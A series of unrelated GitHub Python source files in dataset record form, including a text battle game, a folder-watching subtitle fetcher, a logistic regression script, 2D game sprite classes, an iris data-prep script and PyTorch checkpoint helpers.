]\navail_defenses = [ fake, disapp, exc, proof ]\n\nyour_attacks = [ ]\nyour_defenses = [ ]\n\ndef display_items():\n ### this function displays the attacks and defenses that are available to the player based on what they have already selected ###\n print(\"these are the attacks available to you\")\n time.sleep(1)\n print(*your_attacks, sep = \", \")\n time.sleep(2)\n print()\n print(\"and these are the defenses available to you\")\n time.sleep(1)\n print(*your_defenses, sep = \", \")\n print()\n\ndef which_one( choice1, choice2, atk_or_def ):\n ### this function allows the player to choose between pairs of attacks and defenses based on statistics of the items ###\n print(f\"your two choices are {choice1.name} and {choice2.name}\")\n time.sleep(2.5)\n choice1.showstats()\n time.sleep(2)\n choice2.showstats()\n item_choices = [ choice1.name, choice2.name ]\n time.sleep(2)\n item_choice = input(f\"which one would you like to pick? \")\n while item_choice not in item_choices:\n item_choice = input(f\"please pick a valid choice: {choice1} or {choice2}? \")\n if atk_or_def == 'attack':\n if item_choice == choice1.name:\n your_attacks.append(choice1)\n avail_attacks.remove(choice1)\n elif item_choice == choice2.name:\n your_attacks.append(choice2)\n avail_attacks.remove(choice2)\n elif atk_or_def == 'defense':\n if item_choice == choice1.name:\n your_defenses.append(choice1)\n avail_defenses.remove(choice1)\n elif item_choice == choice2.name:\n your_defenses.append(choice2)\n avail_defenses.remove(choice2)\n time.sleep(2)\n\nprint(f\"----------------------------------------------------------------------\")\nprint()\nprint(f\"well done, you have chosen well.\")\ntime.sleep(2)\nprint(f\"the last thing there is to do is to go to walmart and select your special items\")\ntime.sleep(2)\nprint(f\"these are special attacks and defenses that can greatly increase your chances of winning\")\nprint()\ntime.sleep(3)\nprint(f\"yeeting to walmart now...\")\ntime.sleep(2)\nprint()\nprint(f\"you walk into walmart and head to the attacks section first.\")\ntime.sleep(2)\nprint(f\"you will be given two pairs of options, choose 1 from each pair.\")\ntime.sleep(2)\nprint(f\"the one you do not select will be your enemies' items\")\nprint()\ntime.sleep(3)\nwhich_one( ds, exp, 'attack')\ntime.sleep(3)\nprint(f\"next pair of attack items\")\ntime.sleep(1)\nwhich_one( call, twit, 'attack')\ntime.sleep(3)\nprint(f\"now we are moving on to the defense items\")\nprint()\ntime.sleep(2)\nwhich_one( fake, disapp, 'defense')\ntime.sleep(3)\nprint(f\"next pair of defense items\")\ntime.sleep(1)\nwhich_one( exc, proof, 'defense')\nprint()\ntime.sleep(2)\ndisplay_items()\ntime.sleep(5)\n\n## final battle\n\nprint()\nprint(f\"ok. now that you have collected all your allies and formed two teams, and selected your items\")\ntime.sleep(2.5)\nprint(f\"it is time...\")\ntime.sleep(1)\nprint()\nprint(f\"before we begin, these are all of your current stats\")\ntime.sleep(2)\nprint()\ndisplayTeams()\nprint()\ntime.sleep(2)\ndisplay_items()\nprint()\ntime.sleep(4)\nprint(f\"best 3 out of 5 battles. good luck!\")\nprint()\nprint()\ntime.sleep(3)\nprint(f\"okay, {playerName}, we are gonna get started now\")\nready = input(f\"are you ready to begin the battle?\")\nif ready == 'yes':\n print(\"of course you are. let us begin\")\nelse:\n print(\"too bad, you have no choice. \")\n\nnum_won = 0\nnum_lost = 0\ngame_num = 0\n\ndef enemy_use_item( attacker, opponent ):\n ### this function randomly decides if the enemy will use a special item or not, and uses it if yes ###\n coin = [ 'heads', 'tails', 'tails' ]\n use_or_not = random.choice(coin)\n time.sleep(2)\n if use_or_not == 'heads':\n print(f\"oof, {attacker.name} has decided to use a 𝔰𝔭𝔢𝔠𝔦𝔞𝔩 𝔦𝔱𝔢𝔪\")\n all_items_to_avail = [ avail_attacks[0], avail_attacks[1], avail_defenses[0], avail_defenses[1] ]\n enemy_item_used = random.choice(all_items_to_avail)\n time.sleep(2)\n print()\n print(f\"{opponent.name} decided to use {enemy_item_used.name} which is a {enemy_item_used.itemtype}\")\n if enemy_item_used.itemtype == 'attack':\n print()\n time.sleep(3)\n damage = attacker.atkCoeff + enemy_item_used.power\n print(f\"{attacker.name} has attacked {opponent.name} with an increased attack power of {damage} using {enemy_item_used.name}\")\n opponent.health -= damage\n print()\n print(f\"the resulting health of {opponent.name} is {opponent.health}\")\n time.sleep(2)\n print()\n enemy_item_used.use -= 1\n if enemy_item_used.use == 0:\n print(f\"{attacker.name} may no longer use this anymore\" )\n all_items_to_avail.remove(enemy_item_used)\n else:\n print(f\"{attacker.name} can now only use {enemy_item_used.name} {enemy_item_used.use} more time\")\n elif enemy_item_used.itemtype == 'defense':\n print(f\"since the item is a defense, {attacker.name} will now restore their health unconditionally with a level of {enemy_item_used.power}\" )\n print()\n time.sleep(3)\n attacker.health += enemy_item_used.power\n print(f\"the resulting health of {attacker.name} is {attacker.health}\")\n print()\n enemy_item_used.use -= 1\n if enemy_item_used.use == 0:\n print(f\"{attacker.name} may no longer use this item anymore\" )\n all_items_to_avail.remove(enemy_item_used)\n else:\n print(f\"{attacker.name} can now only use {enemy_item_used.name} {enemy_item_used.use} more time\")\n\n else:\n print(f\"{opponent} decided they are not going to use a special item. you are in luck\")\n print()\n time.sleep(2)\n\ndef ally_attack( attacker, opponent ):\n ### this function allows the player to choose whether or not to regularly attack the enemy and attacks them ###\n print()\n attack_or_not = input(f\"would you like for {attacker.name} to attack {opponent.name}? \")\n time.sleep(2)\n print()\n if attack_or_not == 'yes':\n print(f\"{attacker.name} has ⓐⓣⓣⓐⓒⓚed {opponent.name} with a power of {attacker.atkCoeff}!\")\n time.sleep(3)\n if opponent.health >= 20:\n print(f\"{opponent.name} still had ample health left so they were able to use their defense power of {opponent.defCoeff}\")\n dmg = attacker.atkCoeff - opponent.defCoeff\n opponent.health -= dmg\n print()\n time.sleep(3)\n print(f\"the amount of damage done to {opponent} was {dmg} health points\")\n else:\n print(f\"{opponent.name} has not enough health so they were not able to use their defense power.\")\n opponent.health -= attacker.atkCoeff\n print()\n time.sleep(2)\n print(f\"the amount of damage done to {opponent} was {attacker.atkCoeff} health points\")\n time.sleep(2)\n print(f\"the resulting health of {opponent.name} is {opponent.health}\")\n print()\n time.sleep(3)\n else:\n print(f\"ok... idk why you would choose this but anyways...\")\n time.sleep(2)\n time.sleep(3)\n print()\n use_item_or_not( attacker, opponent )\n print()\n print()\n\ndef enemy_attack( attacker, opponent ):\n ### this function always has the enemy attacing the ally ###\n print()\n print(f\"{attacker.name} has ⓐⓣⓣⓐⓒⓚed {opponent.name} with a power of {attacker.atkCoeff}!\")\n time.sleep(2)\n if opponent.health >= 20:\n print(f\"{opponent.name} still had ample health left so they were able to use their defense power of {opponent.defCoeff}\")\n dmg = attacker.atkCoeff - opponent.defCoeff\n opponent.health -= dmg\n print()\n time.sleep(3)\n print(f\"the amount of damage done to {opponent} was {dmg} health points\")\n else:\n print(f\"{opponent.name} has not enough health so they were not able to use their defense power.\")\n opponent.health -= attacker.atkCoeff\n print()\n time.sleep(3)\n print(f\"the amount of damage done to {opponent} was {attacker.atkCoeff} health points\")\n time.sleep(2)\n print(f\"the resulting health of {opponent.name} is {opponent.health}\")\n time.sleep(3)\n print()\n enemy_use_item( attacker, opponent )\n\ndef use_item( attacker, opponent, item_used ):\n ### this function uses an item if the player decides to do so ###\n print(f\"okay. so you want to use {item_used.name}\")\n print()\n time.sleep(2)\n item_used.showstats()\n print()\n time.sleep(2)\n if item_used.itemtype == 'attack':\n print(f\"since the item you chose to use is an attack, {attacker} will now ⓐⓣⓣⓐⓒⓚ {opponent} with an additional attack power of {item_used.power}\" )\n print()\n time.sleep(3)\n damage = attacker.atkCoeff + item_used.power\n print(f\"{attacker.name} has attacked {opponent.name} with an increased attack power of {damage} using {item_used.name}\")\n opponent.health -= damage\n print()\n time.sleep(3)\n print(f\"the resulting health of {opponent.name} is {opponent.health}\")\n time.sleep(2)\n print()\n item_used.use -= 1\n if item_used.use == 0:\n print(f\"now that you used the item once, you may no longer use this item anymore\" )\n your_attacks.remove(item_used)\n else:\n print(f\"the remaining number of uses left for {item_used.name} is {item_used.use}\")\n elif item_used.itemtype == 'defense':\n print(f\"since the item you chose to use is an defense, {attacker} will now restore their health unconditionally with a level of {item_used.power}\" )\n print()\n time.sleep(2)\n attacker.health += item_used.power\n print(f\"the resulting health of {attacker.name} is {attacker.health}\")\n print()\n time.sleep(2)\n item_used.use -= 1\n if item_used.use == 0:\n print(f\"now that you used the item once, you may no longer use this item anymore\" )\n your_defenses.remove(item_used)\n else:\n print(f\"the remaining number of uses left for {item_used.name} is {item_used.use}\")\n\nall_items_to_use = [ your_attacks[0].name, your_attacks[1].name, your_defenses[0].name, your_defenses[1].name ]\n\ndef use_item_or_not( attacker, opponent ):\n ### this function allows the player to choose whether or not to use a special item and which one they would like to use ###\n use_item_question = input(f\"now... would you like to use a special item in your inventory? keep in mind that your special items have limited uses \")\n print()\n if use_item_question == 'yes':\n time.sleep(2)\n print(f\"okay.\")\n display_items()\n time.sleep(2)\n which_item_use = input(f\"which item in available in your inventory would you like to use? \")\n time.sleep(2)\n while which_item_use not in all_items_to_use :\n which_item_use = input(f\"please pick a valid item \")\n if which_item_use == your_attacks[0].name:\n print(f\"using {your_attacks[0]}...\")\n time.sleep(1)\n print()\n if your_attacks[0].use == 1:\n all_items_to_use.remove(your_attacks[0].name)\n use_item( attacker, opponent, your_attacks[0] )\n elif which_item_use == your_attacks[1].name:\n print(f\"using {your_attacks[1]}...\")\n time.sleep(1)\n print()\n if your_attacks[1].use == 1:\n all_items_to_use.remove(your_attacks[1].name)\n use_item( attacker, opponent, your_attacks[1] )\n elif which_item_use == your_defenses[0].name:\n print(f\"using {your_defenses[0]}...\")\n time.sleep(1)\n print()\n if your_defenses[0].use == 1:\n all_items_to_use.remove(your_defenses[0].name)\n use_item( attacker, opponent, your_defenses[0] )\n elif which_item_use == your_defenses[1].name:\n print(f\"using {your_defenses[0]}...\")\n time.sleep(1)\n print()\n if your_defenses[1].use == 1:\n all_items_to_use.remove(your_defenses[1].name)\n use_item( attacker, opponent, your_defenses[1] )\n else:\n print()\n time.sleep(1)\n print(f\"okay, the battle will continue then.\")\n\ndef battle( ally, enemy ):\n ### this function is the structure of an entire battle - which there are 5 of. it regulates the turns etc. ###\n global num_won\n global game_num\n global num_lost\n\n print(f\"----------------------------------------------------------------------\")\n print()\n print(f\"welcome to battle {game_num + 1}!\")\n print()\n time.sleep(2)\n print(f\"{ally}, who is on your team, will be fighting {enemy}!\")\n print()\n for x in range (0,5):\n b = \"Loading\" + \".\" * x\n print (b, end=\"\\r\")\n time.sleep(1)\n print()\n ally.stats()\n time.sleep(2)\n enemy.stats()\n print()\n time.sleep(1)\n print(f\"--------------------------------------\")\n print(f\"you will be going first.\")\n time.sleep(2)\n while ally.health > 0 and enemy.health > 0:\n print(f\"it is your turn\")\n ally_attack( ally, enemy )\n print(f\"--------------------------------------\"\n )\n if enemy.health <= 0:\n num_won += 1\n print(f\"congrats! you won battle {game_num + 1}! you have won {num_won} battles so far\")\n break\n time.sleep(2)\n print(f\"it is now {enemy.name}'s turn\")\n enemy_attack( enemy, ally )\n print(f\"--------------------------------------\")\n if ally.health <= 0:\n num_lost += 1\n print(f\"𝕠𝕠𝕗, you just took a 🅵🅰🆃 🅻. you've lost {num_lost} game(s) so far\")\n break\n\n game_num += 1\n\n time.sleep(1)\n print()\n for x in range (0,5):\n b = \"Loading\" + \".\" * x\n print (b, end=\"\\r\")\n time.sleep(1)\n print()\n print()\n print()\n print()\n\ndef exit_game():\n ### this function is used when the player has won 3 games or the computer has won 3 games, because the final winnter has been determined at this point ###\n if num_won == 3:\n print()\n print(f\"congradulations! you won! you escaped LA! \")\n else:\n print(f\"unfortunately, you lost. better luck next time...\")\n print()\n time.sleep(1)\n print(f\"thank you very much for playing\")\n time.sleep(1)\n print(f\"i hope you enjoyed your time. bye!\")\n print()\n time.sleep(1)\n print(\"wait... one more thing...\")\n print()\n print()\n print()\n print()\n print()\n time.sleep(3)\n print(\"[̲̅s][̲̅u][̲̅b][̲̅s][̲̅c][̲̅r][̲̅i][̲̅b][̲̅e] [̲̅t][̲̅o] [̲̅p][̲̅e][̲̅w][̲̅d][̲̅i][̲̅e][̲̅p][̲̅i][̲̅e]\")\n\nwhile True:\n battle( allies[game_num], enemies[game_num])\n if num_won == 3 or num_lost == 2 :\n exit_game()\n exit()","repo_name":"maggiewang520/FinalProject18-19","sub_path":"finalproj/finalproject.py","file_name":"finalproject.py","file_ext":"py","file_size_in_byte":23836,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"15509835534","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function\n\nimport json\nimport logging\nimport os\nimport sys\nimport importlib\nimport time\nfrom datetime import datetime\nfrom watchdog.events import PatternMatchingEventHandler\nfrom watchdog.observers import Observer\n\nsys.path.append(os.path.join(os.path.dirname(__file__), '..')) # add modules folder to path\n\n\nclass SubtitlesPlease(PatternMatchingEventHandler):\n def __init__(self, config_fp=None, patterns=None, ignore_patterns=None,\n ignore_directories=False, case_sensitive=False):\n \"\"\"\n This initailized the Subtitle object.\n :param config_fp: This is a file pointer or anything that response to fp.read()\n \"\"\"\n try:\n\n self.directories = []\n self.files = []\n self.modules = []\n if config_fp:\n configs = json.load(config_fp)\n else:\n config_file = os.path.dirname(os.path.realpath(__file__)) + os.sep + \"config.json\"\n fp = open(config_file, \"r\")\n configs = json.load(fp)\n fp.close()\n self.directories = configs[\"watch-directories\"]\n self.files = configs[\"file-types\"]\n super(SubtitlesPlease, self).__init__(self.files, None, False, False)\n\n try:\n for mods in configs[\"subtitles-modules\"]:\n module_name, class_name = mods.split(\":\")\n mod = importlib.import_module(name=\"modules.%s\" % module_name)\n cls = getattr(mod, class_name)\n instance = cls()\n self.modules.append(instance)\n logging.info(\"Module %s loaded\" % str(mods))\n except ImportError as ex:\n logging.error(\"Module import failed: %s\" % ex)\n except Exception as ex:\n logging.error(\"Error loading configuration: %s\" % ex)\n\n @staticmethod\n def get_file_and_location_from_path(source_file=\"\"):\n file_list = source_file.split(os.sep)\n file_name = file_list[-1]\n file_location = source_file.split(file_name, 1)[0]\n return file_name, file_location\n\n def on_created(self, event):\n \"\"\"\n This gets called when a video file is detected in the watched directories\n :param self:\n :param event:\n :return:\n \"\"\"\n source_file = event.src_path\n file_name, location = self.get_file_and_location_from_path(source_file)\n logging.info(\"OnCreated Got Called: %s | %s\" % (file_name, location))\n for module in self.modules:\n if module.get_subtitles(title=file_name, location=location):\n logging.info(\"Module %s found a suitable subtitle\", str(module))\n break\n\n def run(self):\n \"\"\"\n This sets up the watcher on the directories listed\n :return:\n \"\"\"\n observers = []\n for directory in self.directories:\n observer = Observer()\n observer.schedule(self, directory, recursive=True)\n observer.start()\n observers.append(observer)\n try:\n while True:\n time.sleep(1)\n except KeyboardInterrupt:\n for observer in observers:\n observer.stop()\n for observer in observers:\n observer.join()\n\n\nif __name__ == \"__main__\":\n import os as ops\n\n date_string = datetime.strftime(datetime.today(), \"%Y%m%d\")\n # put in log directory\n log_directory = ops.path.abspath(\n ops.path.join(__file__, \"../..\")) + ops.sep + \"logs\" + ops.sep + \"error_%s.log\" % date_string\n logging.basicConfig(filename=log_directory, level=logging.DEBUG,\n format='%(asctime)s [%(levelname)s]:%(message)s')\n try:\n sub = SubtitlesPlease()\n sub.run()\n except Exception as ex:\n logging.error(\"Some shit occurred: %s\", ex)\n","repo_name":"rcrosbourne/subtitlesplease","sub_path":"subtitlesplease/subtitlesplease.py","file_name":"subtitlesplease.py","file_ext":"py","file_size_in_byte":3945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13264568026","text":"import argparse\nimport sys\n\nimport numpy as np\nimport pandas as pd\n\nfrom lr import lr\n\ndef GetArgs():\n def ParseArgs(parser):\n class Parser(argparse.ArgumentParser):\n def error(self, message):\n sys.stderr.write('error: %s\\n' % message)\n self.print_help()\n sys.exit(2)\n\n parser = Parser(description ='Logistic Regression')\n parser.add_argument('data_file',\n help = 'Data CSV file for binary logistic regression. Dependent 0/1 variable must be in first column')\n parser.add_argument('-d', '--debug',\n required=False,\n default = False,\n action = 'store_true',\n help='Print debugging infomation during fit. Default = False')\n parser.add_argument('-m', '--max_iter',\n required=False,\n type=int,\n default = 1000,\n help='Maximum number of iterations. Default = 1000')\n parser.add_argument('-r', '--learning_rate',\n required = False,\n type = float,\n default = 0.01,\n help = 'Learning rate. Default = 0.01')\n parser.add_argument('-t', '--tolerance',\n required=False,\n type = float,\n default = 0.001,\n help='Tolerance for norm of gradient. Default = 0.001')\n \n return parser.parse_args()\n\n parser = argparse.ArgumentParser()\n args = ParseArgs(parser)\n\n return args\n\ndef get_data(data):\n \"\"\"\n Separate data into X and y. y variable must be 0/1 and in first column.\n A column of 1'w is added to X to act as intercept.\n\n Parameters\n ----------\n data : Pandas dataframe\n A data frame with labeled columns.\n\n Returns\n -------\n a tuple\n X, y. X is an n X m numpy array. y is an n x 1 numpy array.\n n is the number of observations. m is the number of dependent variables\n \"\"\" \n X = data.iloc[:, 1:].to_numpy()\n X = np.hstack((np.ones([X.shape[0], 1]), X))\n y = data.iloc[:, 0].to_numpy()\n y = np.expand_dims(y, axis = 1)\n\n return X, y\n\ndef main():\n args = GetArgs()\n\n data = pd.read_csv(args.data_file)\n X, y = get_data(data)\n\n reg = lr(maxiter = args.max_iter, \n tol = args.tolerance, \n learn_rate = args.learning_rate,\n debug = args.debug)\n reg.fit(X, y)\n\n print(reg.weights, reg.score(X, y))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"analytic-garden/logistic-regression-from-scratch","sub_path":"src/logreg.py","file_name":"logreg.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4294830274","text":"import game_framework\nfrom pico2d import *\n\nimport game_world\nimport random\nimport math\n\n# Boy Run Speed\nPIXEL_PER_METER = (10.0 / 0.3) # 10 pixel 30cm\nRUN_SPEED_KMPH = 20.0 # km / hour\nRUN_SPEED_MPM = (RUN_SPEED_KMPH * 1000.0 / 60.0)\nRUN_SPEED_MPS = (RUN_SPEED_MPM / 60.0)\nRUN_SPEED_PPS = (RUN_SPEED_MPS * PIXEL_PER_METER)\nFINISH_SOU = 3 * PIXEL_PER_METER\nPIE_SPEED_TIME = 3.141592\n\n# Boy Action Speed\nTIME_PER_ACTION = 0.5\nACTION_PER_TIME = 1.0 / TIME_PER_ACTION\nFRAMES_PER_ACTION = 8\n\n\nclass Dio:\n image = None\n\n def __init__(Dio):\n if Dio.image == None:\n Dio.image = load_image('Dio.png')\n Dio.image_attack_motion = load_image('attack_motion.png')\n Dio.y = [270, 270, 270]\n Dio.x, Dio.y = 150, Dio.y[random.randint(0, 2)]\n Dio.font = load_font('ENCR10B.TTF', 15)\n Dio.HP = 500 #체력\n Dio.Attack = 80 #공격력\n Dio.Mana = 5 #소환에 필요한 마나 소모량\n Dio.frame = 0\n Dio.fisrt_time = 0\n Dio.timer = 100\n Dio.colliding = True\n\n Dio.attack_sound = load_wav('army_attack2.ogg')\n Dio.attack_sound.set_volume(50)\n\n def attacking(Dio, monster):\n Dio.attack_sound.play()\n\n def add_event(Dio, event):\n pass\n\n def update(Dio):\n Dio.x = clamp(25, Dio.x, 1600 - 25)\n\n if Dio.colliding == True:\n Dio.frame = (Dio.frame + FRAMES_PER_ACTION * ACTION_PER_TIME * game_framework.frame_time) % 5\n Dio.x += 1.5 # 이동속도\n elif Dio.colliding == False:\n Dio.frame = (Dio.frame + FRAMES_PER_ACTION * ACTION_PER_TIME * game_framework.frame_time) % 2\n Dio.x += 0\n\n def draw(Dio):\n if Dio.colliding == True:\n Dio.image.clip_draw(0, int(Dio.frame) * 100, 100, 100, Dio.x, Dio.y)\n Dio.font.draw(Dio.x - 60, Dio.y + 50, 'HP : %3.2i/500' % int(Dio.HP), (0, 0, 0))\n elif Dio.colliding == False:\n Dio.image_attack_motion.clip_draw(100, int(Dio.frame) * 100, 100, 100, Dio.x, Dio.y)\n Dio.font.draw(Dio.x - 60, Dio.y + 50, 'HP : %3.2i/500' % int(Dio.HP), (0, 0, 0))\n #draw_rectangle(*Dio.get_bb())\n\n def handle_event(Dio, event):\n pass\n\n def get_bb(Dio):\n return Dio.x , Dio.y - 40, Dio.x + 30, Dio.y + 40\n\nclass Dio2:\n image = None\n\n def __init__(Dio2):\n if Dio2.image == None:\n Dio2.image = load_image('Dio.png')\n Dio2.image_attack_motion = load_image('attack_motion.png')\n Dio2.y = [270, 270, 270]\n Dio2.x, Dio2.y = 150, Dio2.y[random.randint(0, 2)]\n Dio2.font = load_font('ENCR10B.TTF', 15)\n Dio2.HP = 500 #체력\n Dio2.Attack = 80 #공격력\n Dio2.Mana = 5 #소환에 필요한 마나 소모량\n Dio2.frame = 0\n Dio2.fisrt_time = 0\n Dio2.timer = 100\n Dio2.colliding = True\n\n Dio2.attack_sound = load_wav('army_attack2.ogg')\n Dio2.attack_sound.set_volume(50)\n\n def attacking(Dio2, monster):\n Dio2.attack_sound.play()\n\n def add_event(Dio2, event):\n pass\n\n def update(Dio2):\n Dio2.x = clamp(25, Dio2.x, 1600 - 25)\n\n if Dio2.colliding == True:\n Dio2.frame = (Dio2.frame + FRAMES_PER_ACTION * ACTION_PER_TIME * game_framework.frame_time) % 5\n Dio2.x += 1.5 # 이동속도\n elif Dio2.colliding == False:\n Dio2.frame = (Dio2.frame + FRAMES_PER_ACTION * ACTION_PER_TIME * game_framework.frame_time) % 2\n Dio2.x += 0\n\n def draw(Dio2):\n if Dio2.colliding == True:\n Dio2.image.clip_draw(0, int(Dio2.frame) * 100, 100, 100, Dio2.x, Dio2.y)\n Dio2.font.draw(Dio2.x - 60, Dio2.y + 50, 'HP : %3.2i/500' % int(Dio2.HP), (0, 0, 0))\n elif Dio2.colliding == False:\n Dio2.image_attack_motion.clip_draw(100, int(Dio2.frame) * 100, 100, 100, Dio2.x, Dio2.y)\n Dio2.font.draw(Dio2.x - 60, Dio2.y + 50, 'HP : %3.2i/500' % int(Dio2.HP), (0, 0, 0))\n #draw_rectangle(*Dio2.get_bb())\n\n def handle_event(Dio2, event):\n pass\n\n def get_bb(Dio2):\n return Dio2.x , Dio2.y - 40, Dio2.x + 30, Dio2.y + 40\n\nclass Dio3:\n image = None\n\n def __init__(Dio3):\n if Dio3.image == None:\n Dio3.image = load_image('Dio.png')\n Dio3.image_attack_motion = load_image('attack_motion.png')\n Dio3.y = [270, 270, 270]\n Dio3.x, Dio3.y = 150, Dio3.y[random.randint(0, 2)]\n Dio3.font = load_font('ENCR10B.TTF', 15)\n Dio3.HP = 500 #체력\n Dio3.Attack = 80 #공격력\n Dio3.Mana = 5 #소환에 필요한 마나 소모량\n Dio3.frame = 0\n Dio3.fisrt_time = 0\n Dio3.timer = 100\n Dio3.colliding = True\n\n Dio3.attack_sound = load_wav('army_attack2.ogg')\n Dio3.attack_sound.set_volume(50)\n\n def attacking(Dio3, monster):\n Dio3.attack_sound.play()\n\n def add_event(Dio3, event):\n pass\n\n def update(Dio3):\n Dio3.x = clamp(25, Dio3.x, 1600 - 25)\n\n if Dio3.colliding == True:\n Dio3.frame = (Dio3.frame + FRAMES_PER_ACTION * ACTION_PER_TIME * game_framework.frame_time) % 5\n Dio3.x += 1.5 # 이동속도\n elif Dio3.colliding == False:\n Dio3.frame = (Dio3.frame + FRAMES_PER_ACTION * ACTION_PER_TIME * game_framework.frame_time) % 2\n Dio3.x += 0\n\n def draw(Dio3):\n if Dio3.colliding == True:\n Dio3.image.clip_draw(0, int(Dio3.frame) * 100, 100, 100, Dio3.x, Dio3.y)\n Dio3.font.draw(Dio3.x - 60, Dio3.y + 50, 'HP : %3.2i/500' % int(Dio3.HP), (0, 0, 0))\n elif Dio3.colliding == False:\n Dio3.image_attack_motion.clip_draw(100, int(Dio3.frame) * 100, 100, 100, Dio3.x, Dio3.y)\n Dio3.font.draw(Dio3.x - 60, Dio3.y + 50, 'HP : %3.2i/500' % int(Dio3.HP), (0, 0, 0))\n #draw_rectangle(*Dio3.get_bb())\n\n def handle_event(Dio3, event):\n pass\n\n def get_bb(Dio3):\n return Dio3.x , Dio3.y - 40, Dio3.x + 30, Dio3.y + 40\n\nclass Dio4:\n image = None\n\n def __init__(Dio4):\n if Dio4.image == None:\n Dio4.image = load_image('Dio.png')\n Dio4.image_attack_motion = load_image('attack_motion.png')\n Dio4.y = [270, 270, 270]\n Dio4.x, Dio4.y = 150, Dio4.y[random.randint(0, 2)]\n Dio4.font = load_font('ENCR10B.TTF', 15)\n Dio4.HP = 500 #체력\n Dio4.Attack = 80 #공격력\n Dio4.Mana = 5 #소환에 필요한 마나 소모량\n Dio4.frame = 0\n Dio4.fisrt_time = 0\n Dio4.timer = 100\n Dio4.colliding = True\n\n Dio4.attack_sound = load_wav('army_attack2.ogg')\n Dio4.attack_sound.set_volume(50)\n\n def attacking(Dio4, monster):\n Dio4.attack_sound.play()\n\n def add_event(Dio4, event):\n pass\n\n def update(Dio4):\n Dio4.x = clamp(25, Dio4.x, 1600 - 25)\n\n if Dio4.colliding == True:\n Dio4.frame = (Dio4.frame + FRAMES_PER_ACTION * ACTION_PER_TIME * game_framework.frame_time) % 5\n Dio4.x += 1.5 # 이동속도\n elif Dio4.colliding == False:\n Dio4.frame = (Dio4.frame + FRAMES_PER_ACTION * ACTION_PER_TIME * game_framework.frame_time) % 2\n Dio4.x += 0\n\n def draw(Dio4):\n if Dio4.colliding == True:\n Dio4.image.clip_draw(0, int(Dio4.frame) * 100, 100, 100, Dio4.x, Dio4.y)\n Dio4.font.draw(Dio4.x - 60, Dio4.y + 50, 'HP : %3.2i/500' % int(Dio4.HP), (0, 0, 0))\n elif Dio4.colliding == False:\n Dio4.image_attack_motion.clip_draw(100, int(Dio4.frame) * 100, 100, 100, Dio4.x, Dio4.y)\n Dio4.font.draw(Dio4.x - 60, Dio4.y + 50, 'HP : %3.2i/500' % int(Dio4.HP), (0, 0, 0))\n #draw_rectangle(*Dio4.get_bb())\n\n def handle_event(Dio4, event):\n pass\n\n def get_bb(Dio4):\n return Dio4.x , Dio4.y - 40, Dio4.x + 30, Dio4.y + 40\n\n","repo_name":"rlaalstjqrlaalstjq/2DGP_GAME","sub_path":"게임/dio.py","file_name":"dio.py","file_ext":"py","file_size_in_byte":7928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15417267251","text":"import pandas as pd\n\n\nurl = \"https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data\"\n\n\n# Assign colum names to the dataset\ncolnames = ['sepal-length', 'sepal-width', 'petal-length', 'petal-width', 'Class']\n\n\n# Read dataset to pandas dataframe\nirisdata = pd.read_csv(url, names=colnames)\nprint(irisdata.head())\nprint(\"irisdata shape: {} \\n\".format(irisdata.shape))\nprint(irisdata.info())\n\n\n# checking for duplicated rows\nduplicated_data = irisdata.duplicated()\nprint(\"\\n Total duplicated values: {}\".format(duplicated_data.sum()))\nprint(irisdata[duplicated_data])\n\n# map target\nmapper = {'Iris-setosa': 0, 'Iris-versicolor': 1, 'Iris-virginica': 2}\nirisdata['Class'] = irisdata['Class'].map(mapper)\n\n\n# create X,y\nX = irisdata.drop(['Class'], axis = 1)\ny = irisdata['Class']\nprint(\"\\n Feature shape: {}, Target shape: {} \\n\".format(X.shape, y.shape))\n\n\n# number of unique values\nunique_values = []\nfor i in irisdata.columns:\n unique_count = irisdata[i].value_counts().count()\n unique_values.append([unique_count])\nunique_data = pd.DataFrame(unique_values, index = irisdata.columns, columns = ['Unique values count'] )\nprint(unique_data)\n\n\n# take categorial and numerical data for pipeline usage \nnum_vars = ['sepal-length', 'sepal-width', 'petal-length', 'petal-width']\n","repo_name":"RitthujaKandasamy/Strive-Exercises","sub_path":"Chapter 02/08. Robust ML/Pipeline and Encoding/iris_dataset.py","file_name":"iris_dataset.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"75058567091","text":"import torch\nimport torch.jit as jit\n\nimport config\n\ndef to_device(torch_object):\n if torch.cuda.is_available():\n return torch_object.cuda()\n else:\n return torch_object\n\ndef save_checkpoint(model, optimizer, epoch):\n checkpoint = {\n 'model': model.state_dict(),\n 'optimizer': optimizer.state_dict()\n }\n torch.save(checkpoint, '{}{}_{}.pt'.format(config.SAVE_PATH, model.get_name(), epoch))\n\ndef load_checkpoint(model, optimizer):\n checkpoint = torch.load('{}{}.pt'.format(config.LOAD_PATH, model.get_name()))\n model.load_state_dict(checkpoint['model'])\n optimizer.load_state_dict(checkpoint['optimizer'])","repo_name":"floydkretschmar/BPTTvsEprop","sub_path":"src/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"35830208685","text":"import numpy as np\nimport matplotlib.pyplot as plt\n# import pandas as pd\n\nfrom loadData import getData\n\nEXAMPLES=10\n# An ordered list of the CIFAR class names\nCIFAR_CLASS_NAMES = [\"0. Plane\", \"1. Car\", \"2. Cat\"]\nCIFAR_CATEGORY_LABELS = dict(zip(map(str, list(range(3))), CIFAR_CLASS_NAMES))\n\nFASHION_CLASS_NAMES = [\"0. T-shirt\", \"1. Pants\", \"2. Dress\"]\nFASHION_CATEGORY_LABELS = dict(zip(map(str, list(range(3))), FASHION_CLASS_NAMES))\n\ncifar_xtr, cifar_str, cifar_xts, cifar_yts = getData('./data/CIFAR.npz')\n# print('CIFAR\\n---------------')\n# print('Training samples:\\n', pd.DataFrame(cifar_str).value_counts())\n# print('Test samples:\\n', pd.DataFrame(cifar_yts).value_counts())\n\nfashion5_xtr, fashion5_str, fashion5_xts, fashion5_yts = 